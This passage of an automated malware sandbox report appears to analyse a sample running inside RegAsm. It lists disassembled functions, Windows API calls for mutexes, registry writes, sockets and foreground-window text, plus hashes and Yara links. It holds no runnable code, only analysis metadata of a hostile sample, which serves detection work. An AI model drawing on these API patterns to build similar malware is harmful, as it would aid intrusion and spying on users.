                              • Opcode ID: 86f3e289ee87dd2070e95c4c7186b2520882cd19ee190badebe9b582a3aec49f
                              • Instruction ID: 465453d6db43d9529954589ba2efa69a6de0eb64d520c2048147815e962fb190
                              • Opcode Fuzzy Hash: 86f3e289ee87dd2070e95c4c7186b2520882cd19ee190badebe9b582a3aec49f
                              • Instruction Fuzzy Hash: 3E4192B1108301AFC714EB62CD55DBFB7EDAFD4314F40093EF992A22E1DB3899098666
                              Function 00448566 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1433 448566-44857a 1434 448587-4485a2 LoadLibraryExW 1433->1434 1435 44857c-448585 1433->1435 1437 4485a4-4485ad GetLastError 1434->1437 1438 4485cb-4485d1 1434->1438 1436 4485de-4485e0 1435->1436 1439 4485bc 1437->1439 1440 4485af-4485ba LoadLibraryExW 1437->1440 1441 4485d3-4485d4 FreeLibrary 1438->1441 1442 4485da 1438->1442 1443 4485be-4485c0 1439->1443 1440->1443 1441->1442 1444 4485dc-4485dd 1442->1444 1443->1438 1445 4485c2-4485c9 1443->1445 1444->1436 1445->1444
                              APIs
                              • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,0044850D,00000000,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue), ref: 00448598
                              • GetLastError.KERNEL32(?,0044850D,00000000,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7), ref: 004485A4
                              • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0044850D,00000000,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000), ref: 004485B2
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: LibraryLoad$ErrorLast
                              • String ID:
                              • API String ID: 3177248105-0
                              • Opcode ID: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                              • Instruction ID: d5df962f837ff7629ef00c7a8b4dcab40ba3e58d8e4ddb8b40c265455ff02ab4
                              • Opcode Fuzzy Hash: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                              • Instruction Fuzzy Hash: AA012832602322FBD7214B289C4495B7798AB50B61B20053AFD05D3241DF34CD01CAE8
                              Function 0040D069 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                              Download Yara Rule
                              APIs
                              • CreateMutexA.KERNEL32(00000000,00000001,00000000,0040EC08,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,004660BC,00000003,00000000), ref: 0040D078
                              • GetLastError.KERNEL32 ref: 0040D083
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CreateErrorLastMutex
                              • String ID: SG
                              • API String ID: 1925916568-3189917014
                              • Opcode ID: 39599091def79051ab742ff046aa9e12e6026389991bc8d246940820909dc324
                              • Instruction ID: 95155ffd2f5cf2c34283977deb482d2843c3ccfb5002447f486bda260673b364
                              • Opcode Fuzzy Hash: 39599091def79051ab742ff046aa9e12e6026389991bc8d246940820909dc324
                              • Instruction Fuzzy Hash: 18D012B0604701EBD7181770ED5975839959744702F40487AB50BD99F1CBAC88908519
                              Function 004135A6 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                              • RegQueryValueExA.KERNEL32 ref: 004135E7
                              • RegCloseKey.KERNEL32(?), ref: 004135F2
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseOpenQueryValue
                              • String ID:
                              • API String ID: 3677997916-0
                              • Opcode ID: 047bda59581c7e78827521e08e68fdf793dfebd6250409dd5ae19ad748ced965
                              • Instruction ID: 357f89d7cd1c8cc036c5e31f86fe90e90b696c4569df010e686479b524d11f87
                              • Opcode Fuzzy Hash: 047bda59581c7e78827521e08e68fdf793dfebd6250409dd5ae19ad748ced965
                              • Instruction Fuzzy Hash: 5A01D676900228BBCF209B91DC09DEF7FBDDB84751F000066BB09E2240DA748E45DBA4
                              Function 004136F8 Relevance: 4.5, APIs: 3, Instructions: 42registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000), ref: 00413714
                              • RegQueryValueExA.KERNEL32 ref: 0041372D
                              • RegCloseKey.KERNEL32(00000000), ref: 00413738
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseOpenQueryValue
                              • String ID:
                              • API String ID: 3677997916-0
                              • Opcode ID: 16fdc48d36bb649990d7f6d81c9afeb312c2f40a16629baa57fa9ba92c9a975a
                              • Instruction ID: 3f277cad741e4f631881634228dfc272d65c1146f3ef4f3c344e6cfa7cb73972
                              • Opcode Fuzzy Hash: 16fdc48d36bb649990d7f6d81c9afeb312c2f40a16629baa57fa9ba92c9a975a
                              • Instruction Fuzzy Hash: 1C018BB1400229FBDF216FA1DC04DEB3F38EF05751F004065BE08621A1D6358AA5DBA4
                              Function 00413549 Relevance: 4.5, APIs: 3, Instructions: 37registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413569
                              • RegQueryValueExA.KERNEL32 ref: 00413587
                              • RegCloseKey.KERNEL32(?), ref: 00413592
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseOpenQueryValue
                              • String ID:
                              • API String ID: 3677997916-0
                              • Opcode ID: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                              • Instruction ID: df0ca7b2621da3f23a966dc0a7f3323316399916f3769291e5945d4ebcba47cd
                              • Opcode Fuzzy Hash: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                              • Instruction Fuzzy Hash: E8F01776900218FFDF109FA0DC05FEEBBBCEB04B11F1040A6BA09E6191E2359F54AB94
                              Function 004134FF Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413516
                              • RegQueryValueExA.KERNEL32 ref: 0041352A
                              • RegCloseKey.KERNEL32(?), ref: 00413535
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseOpenQueryValue
                              • String ID:
                              • API String ID: 3677997916-0
                              • Opcode ID: 457a1e9777394aa84a55c62b4c884cbf4b645f8070d1882d45228c3eb86b6271
                              • Instruction ID: ffaae2385a847085e6fb085aa4760e2a706d619ab1068a3de776aab9102a8dd7
                              • Opcode Fuzzy Hash: 457a1e9777394aa84a55c62b4c884cbf4b645f8070d1882d45228c3eb86b6271
                              • Instruction Fuzzy Hash: 46E06D32801238FB9F204FA2DC0DDEB7F6CEF06FA2B000155BD0DA2112E2258E50E6E4
                              Function 00413877 Relevance: 4.5, APIs: 3, Instructions: 30registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                              • RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                              • RegCloseKey.KERNEL32(004660A4), ref: 004138AB
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseCreateValue
                              • String ID:
                              • API String ID: 1818849710-0
                              • Opcode ID: 8a000a4505fdb29c534fdcd469952580260528b50fc1865eb33bc02dff3d936a
                              • Instruction ID: 04a42b38e2882b978ed87177a7d0f50f8458418d63be9de7f69fe35b215911ab
                              • Opcode Fuzzy Hash: 8a000a4505fdb29c534fdcd469952580260528b50fc1865eb33bc02dff3d936a
                              • Instruction Fuzzy Hash: 16E06572500318FBEF115F90DC05FEA7B6CDF04B52F1045A5BF09A6191D3358E549798
                              Function 0044EDC4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON
                              Download Yara Rule
                              APIs
                              • GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0044EDE9
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Info
                              • String ID:
                              • API String ID: 1807457897-3916222277
                              • Opcode ID: a85cb1b2b9373234b1d7ad287e33ad953b4b977bb3bdbd209019650f1141d576
                              • Instruction ID: 44bbd8f54034b75cb3f6f6e84f1b5a7d7ac270184ed4e74474e217fcd589b3ab
                              • Opcode Fuzzy Hash: a85cb1b2b9373234b1d7ad287e33ad953b4b977bb3bdbd209019650f1141d576
                              • Instruction Fuzzy Hash: 74411E705043489AEF218F65CC84AF7BBB9FF45308F2408EEE59A87142D2399E45DF65
                              Function 00409DE4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _wcslen
                              • String ID: pQG
                              • API String ID: 176396367-3769108836
                              • Opcode ID: 1f3b91536cece4da7108cf24afec647958326f81796985407c04b0a2ae37731c
                              • Instruction ID: e6961f6084f98a1e57a9a6385a58e5d20214d93246a99e64d0d6a4ea431d93e1
                              • Opcode Fuzzy Hash: 1f3b91536cece4da7108cf24afec647958326f81796985407c04b0a2ae37731c
                              • Instruction Fuzzy Hash: 8111C3319002059BCB15EF65E8529EF7BB5EF54318B10013FF406A62E2EFB8AD05CB98
                              Function 00448BB3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000001,?,?), ref: 00448C24
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: String
                              • String ID: LCMapStringEx
                              • API String ID: 2568140703-3893581201
                              • Opcode ID: 0d5bd11df5ef9a2e9891dfdca4fac69d3ce43e49c64e471a80bfc951609a4a07
                              • Instruction ID: 91dcaeff4e4508283399e99d6512adb219adb357de156da575c9a111b1dd59a7
                              • Opcode Fuzzy Hash: 0d5bd11df5ef9a2e9891dfdca4fac69d3ce43e49c64e471a80bfc951609a4a07
                              • Instruction Fuzzy Hash: 3F016532500209FBCF029F90DC01EEE7F62EF08351F10452AFE0925161CA3A8971AB99
                              Function 00448A84 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,0044BF4F,-00000020,00000FA0,00000000,00467378,00467378), ref: 00448ACF
                              Strings
                              • InitializeCriticalSectionEx, xrefs: 00448A9F
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CountCriticalInitializeSectionSpin
                              • String ID: InitializeCriticalSectionEx
                              • API String ID: 2593887523-3084827643
                              • Opcode ID: 682e35b38dfd5190380aa89288d85395b8b8c573abd287f9b51c67f13ec4e10f
                              • Instruction ID: 658be74961f29c719de8c28810f5b4ff6aac6a213607643c1e3aaf487ccb6ecc
                              • Opcode Fuzzy Hash: 682e35b38dfd5190380aa89288d85395b8b8c573abd287f9b51c67f13ec4e10f
                              • Instruction Fuzzy Hash: 12F0E235640208FBCF019F51DC06EAE7F61EF48722F10816AFC096A261DE799D25ABDD
                              Function 00448710 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Alloc
                              • String ID: FlsAlloc
                              • API String ID: 2773662609-671089009
                              • Opcode ID: b059b7acde134c04013a83b120bbe810436e60e70eecf54d389d9c1387c32ac7
                              • Instruction ID: c1fb2f6f3e96c04a711f36652bc0978b46922b6b0bac1ff16f6cb7e5114ce70e
                              • Opcode Fuzzy Hash: b059b7acde134c04013a83b120bbe810436e60e70eecf54d389d9c1387c32ac7
                              • Instruction Fuzzy Hash: 98E02B30640218E7D700AF65DC16A6EBB94CF48B12B20057FFD0557391DE786D0595DE
                              Function 00438D94 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON
                              Download Yara Rule
                              APIs
                              • try_get_function.LIBVCRUNTIME ref: 00438DA9
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: try_get_function
                              • String ID: FlsAlloc
                              • API String ID: 2742660187-671089009
                              • Opcode ID: 5196da0208b4c88d7e80b60f7c4aa489d06214170f9357b8a7661789506c7008
                              • Instruction ID: 997240ade825b32cd49e327dc5ad0f79abc42783939d358afc793268dfa947f7
                              • Opcode Fuzzy Hash: 5196da0208b4c88d7e80b60f7c4aa489d06214170f9357b8a7661789506c7008
                              • Instruction Fuzzy Hash: 1FD05B31B8172866861036D56C02B99F654CB45BF7F14106BFF0875293999D581451DE
                              Function 0041B7B6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON
                              Download Yara Rule
                              APIs
                              • GlobalMemoryStatusEx.KERNEL32(?), ref: 0041B7CA
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: GlobalMemoryStatus
                              • String ID: @
                              • API String ID: 1890195054-2766056989
                              • Opcode ID: 2ff32e62116e468e6d8a54eb6c0bfd9d688f6c12eac0596ef65494206548ed21
                              • Instruction ID: 2d2b64c70bc766df394076410504e3f9c8f669937c614d63c6700d8895b1c70c
                              • Opcode Fuzzy Hash: 2ff32e62116e468e6d8a54eb6c0bfd9d688f6c12eac0596ef65494206548ed21
                              • Instruction Fuzzy Hash: E6D017B58023189FC720DFA8E804A8DBBFCFB08210F00456AEC49E3700E770E8008B94
                              Function 0044F119 Relevance: 3.2, APIs: 2, Instructions: 168COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0044ECEC: GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                              • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0044EFBA,?,00000000), ref: 0044F18D
                              • GetCPInfo.KERNEL32(00000000,0044EFBA,?,?,?,0044EFBA,?,00000000), ref: 0044F1A0
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CodeInfoPageValid
                              • String ID:
                              • API String ID: 546120528-0
                              • Opcode ID: 0fcd41bea27e2464632381dc73460c859b02871e76ebf75d2761c723038ba765
                              • Instruction ID: 3b7bf12515eb554c774b4e527f81d40cffab4a6430697902d987c8214247c1f3
                              • Opcode Fuzzy Hash: 0fcd41bea27e2464632381dc73460c859b02871e76ebf75d2761c723038ba765
                              • Instruction Fuzzy Hash: BB5116749002469EFB24CF76C8816BBBBE5FF41304F1444BFD08687251D6BE994ACB99
                              Function 0044EF58 Relevance: 3.1, APIs: 2, Instructions: 91COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                • Part of subcall function 0044F077: _abort.LIBCMT ref: 0044F0A9
                                • Part of subcall function 0044F077: _free.LIBCMT ref: 0044F0DD
                                • Part of subcall function 0044ECEC: GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                              • _free.LIBCMT ref: 0044EFD0
                              • _free.LIBCMT ref: 0044F006
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$ErrorLast_abort
                              • String ID:
                              • API String ID: 2991157371-0
                              • Opcode ID: 23ed7ce0d1312216544e861ed2cc667081b9de49bf4146cfd61311aa69b4ec7f
                              • Instruction ID: 3a29b68b49955ca98559fee15c42126097606514ccea0e67eec2104835090475
                              • Opcode Fuzzy Hash: 23ed7ce0d1312216544e861ed2cc667081b9de49bf4146cfd61311aa69b4ec7f
                              • Instruction Fuzzy Hash: FD31D531904104BFFB10EB6AD440B9EB7E4FF40329F2540AFE5149B2A1DB399D45CB48
                              Function 004484CA Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7,00000000), ref: 0044852A
                              • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00448537
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AddressProc__crt_fast_encode_pointer
                              • String ID:
                              • API String ID: 2279764990-0
                              • Opcode ID: 8089c10b092d0b8b49c4e4c687cc442f2ac99aa31dc0a9ae19eeba6ee39a8a7d
                              • Instruction ID: 198cd69cd453a5762926ca534f03dc7b1e1ac857a4a5158ec5eb6717dc05f104
                              • Opcode Fuzzy Hash: 8089c10b092d0b8b49c4e4c687cc442f2ac99aa31dc0a9ae19eeba6ee39a8a7d
                              • Instruction Fuzzy Hash: C3113A37A00131AFEB21DE1CDC4195F7391EB80724716452AFC08AB354DF34EC4186D8
                              Function 0040482D Relevance: 3.0, APIs: 2, Instructions: 40networkCOMMON
                              Download Yara Rule
                              APIs
                              • socket.WS2_32(?,00000001,00000006), ref: 00404852
                              • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000,?,0040530B,?,?,00000000,00000000,?,?,00000000,00405208,?,00000000), ref: 0040488E
                                • Part of subcall function 0040489E: WSAStartup.WS2_32(00000202,00000000), ref: 004048B3
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CreateEventStartupsocket
                              • String ID:
                              • API String ID: 1953588214-0
                              • Opcode ID: afd00016faedd330142d6470bb716eda446324a36170d88fbab64c940495e811
                              • Instruction ID: 7af5cc85a36d800a693892934b5c0b91abe86707509305098cc6d5fca1b6a633
                              • Opcode Fuzzy Hash: afd00016faedd330142d6470bb716eda446324a36170d88fbab64c940495e811
                              • Instruction Fuzzy Hash: 6E0171B1408B809ED7359F38A8456977FE0AB55304F048D6EF1DA97B91D3B5A881CB18
                              Function 0040165E Relevance: 3.0, APIs: 2, Instructions: 32COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: dd3aabd753e8fbc850dd588cbaeb9a0baf8afa37155383fde8690b9b823aeb90
                              • Instruction ID: 20740d68f627359004b4f50e822579efa7e6dd26000e0d34fcfb16e84f8f3500
                              • Opcode Fuzzy Hash: dd3aabd753e8fbc850dd588cbaeb9a0baf8afa37155383fde8690b9b823aeb90
                              • Instruction Fuzzy Hash: 6EF0E2706042015BDB1C8B34CD60B2A36955B84315F288F3FF01AD61E0C73EC8918A0D
                              Function 0041BA96 Relevance: 3.0, APIs: 2, Instructions: 26COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Window$ForegroundText
                              • String ID:
                              • API String ID: 29597999-0
                              • Opcode ID: 3324f64634fda987d6d57ad9b9c1a74d02492aa66b07baf7772615d4eb65d97a
                              • Instruction ID: 4615795adb372a642f3ed3ff298372a60f443b3219566b47796808df054d69ed
                              • Opcode Fuzzy Hash: 3324f64634fda987d6d57ad9b9c1a74d02492aa66b07baf7772615d4eb65d97a
                              • Instruction Fuzzy Hash: CCE0D875A00328A7E720A7A49C4EFE5776CEB08701F0000EEBA18D71C2EAB4AD04C7E4
                              Function 00414EE9 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON
                              Download Yara Rule
                              APIs
                              • getaddrinfo.WS2_32(00000000,00000000,00000000,00472ADC,004750E4,00000000,00415188,00000000,00000001), ref: 00414F0B
                              • WSASetLastError.WS2_32(00000000), ref: 00414F10
                                • Part of subcall function 00414D86: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414DD5
                                • Part of subcall function 00414D86: LoadLibraryA.KERNEL32(?), ref: 00414E17
                                • Part of subcall function 00414D86: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E37
                                • Part of subcall function 00414D86: FreeLibrary.KERNEL32(00000000), ref: 00414E3E
                                • Part of subcall function 00414D86: LoadLibraryA.KERNEL32(?), ref: 00414E76
                                • Part of subcall function 00414D86: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E88
                                • Part of subcall function 00414D86: FreeLibrary.KERNEL32(00000000), ref: 00414E8F
                                • Part of subcall function 00414D86: GetProcAddress.KERNEL32(00000000,?), ref: 00414E9E
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Library$AddressProc$FreeLoad$DirectoryErrorLastSystemgetaddrinfo
                              • String ID:
                              • API String ID: 1170566393-0
                              • Opcode ID: 6695e73d4224f512b623112065335d5dbc2e445aee0e7ca71efd6bc9c5f08a3e
                              • Instruction ID: cadd3d9b0d0923a9352550a0b766658ea18523973fceddbfefdc7c35282954d4
                              • Opcode Fuzzy Hash: 6695e73d4224f512b623112065335d5dbc2e445aee0e7ca71efd6bc9c5f08a3e
                              • Instruction Fuzzy Hash: 9ED017322015316BD320A769AC01AFBAA9EDBD7771B16003BFA08D3210D6949C8282E8
                              Function 0043A3EC Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00438D94: try_get_function.LIBVCRUNTIME ref: 00438DA9
                              • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A40A
                              • ___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 0043A415
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
                              • String ID:
                              • API String ID: 806969131-0
                              • Opcode ID: b65774da924b1ebf27bf40d163950e62dcf9712d149a04772a22db3bc715a471
                              • Instruction ID: 13a2799ba917d8b657c14e130d7338f5d7a652e6d8bc03527a2a5cb893e190b1
                              • Opcode Fuzzy Hash: b65774da924b1ebf27bf40d163950e62dcf9712d149a04772a22db3bc715a471
                              • Instruction Fuzzy Hash: 23D0A920088310241C14A3792C0F19B53442A3A7BCF70726FFAF4861C3EEDC8062612F
                              Function 0043AA1B Relevance: 1.5, APIs: 1, Instructions: 48COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: __alldvrm
                              • String ID:
                              • API String ID: 65215352-0
                              • Opcode ID: 28369f91ca91e66110a0b1c9409ed0194f098364de9e422e31faff2ad6e8f38b
                              • Instruction ID: 96d9d97d68b67d0c8e80b5665a39335b0ee5c72343be31c2f0b4d265a228e715
                              • Opcode Fuzzy Hash: 28369f91ca91e66110a0b1c9409ed0194f098364de9e422e31faff2ad6e8f38b
                              • Instruction Fuzzy Hash: 08012872950318BFDB24EF64C942B6E77ECEB0531DF10846FE48597240C6799D00C75A
                              Function 00446137 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AllocateHeap
                              • String ID:
                              • API String ID: 1279760036-0
                              • Opcode ID: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
                              • Instruction ID: 4903450aafda00484806ba385278610c2731405ed8485190d5fd86014b6ab98c
                              • Opcode Fuzzy Hash: 091c80118a57d95ebc2facbedd4e69ebcf5b938ae1e913472e35806a21779949
                              • Instruction Fuzzy Hash: 92E0ED3120062577FB2226669D05B5B365D9F033A2F160127EC0AA2283DF7CCC0081EF
                              Function 0040489E Relevance: 1.5, APIs: 1, Instructions: 15networkCOMMON
                              Download Yara Rule
                              APIs
                              • WSAStartup.WS2_32(00000202,00000000), ref: 004048B3
                              Memory Dump Source
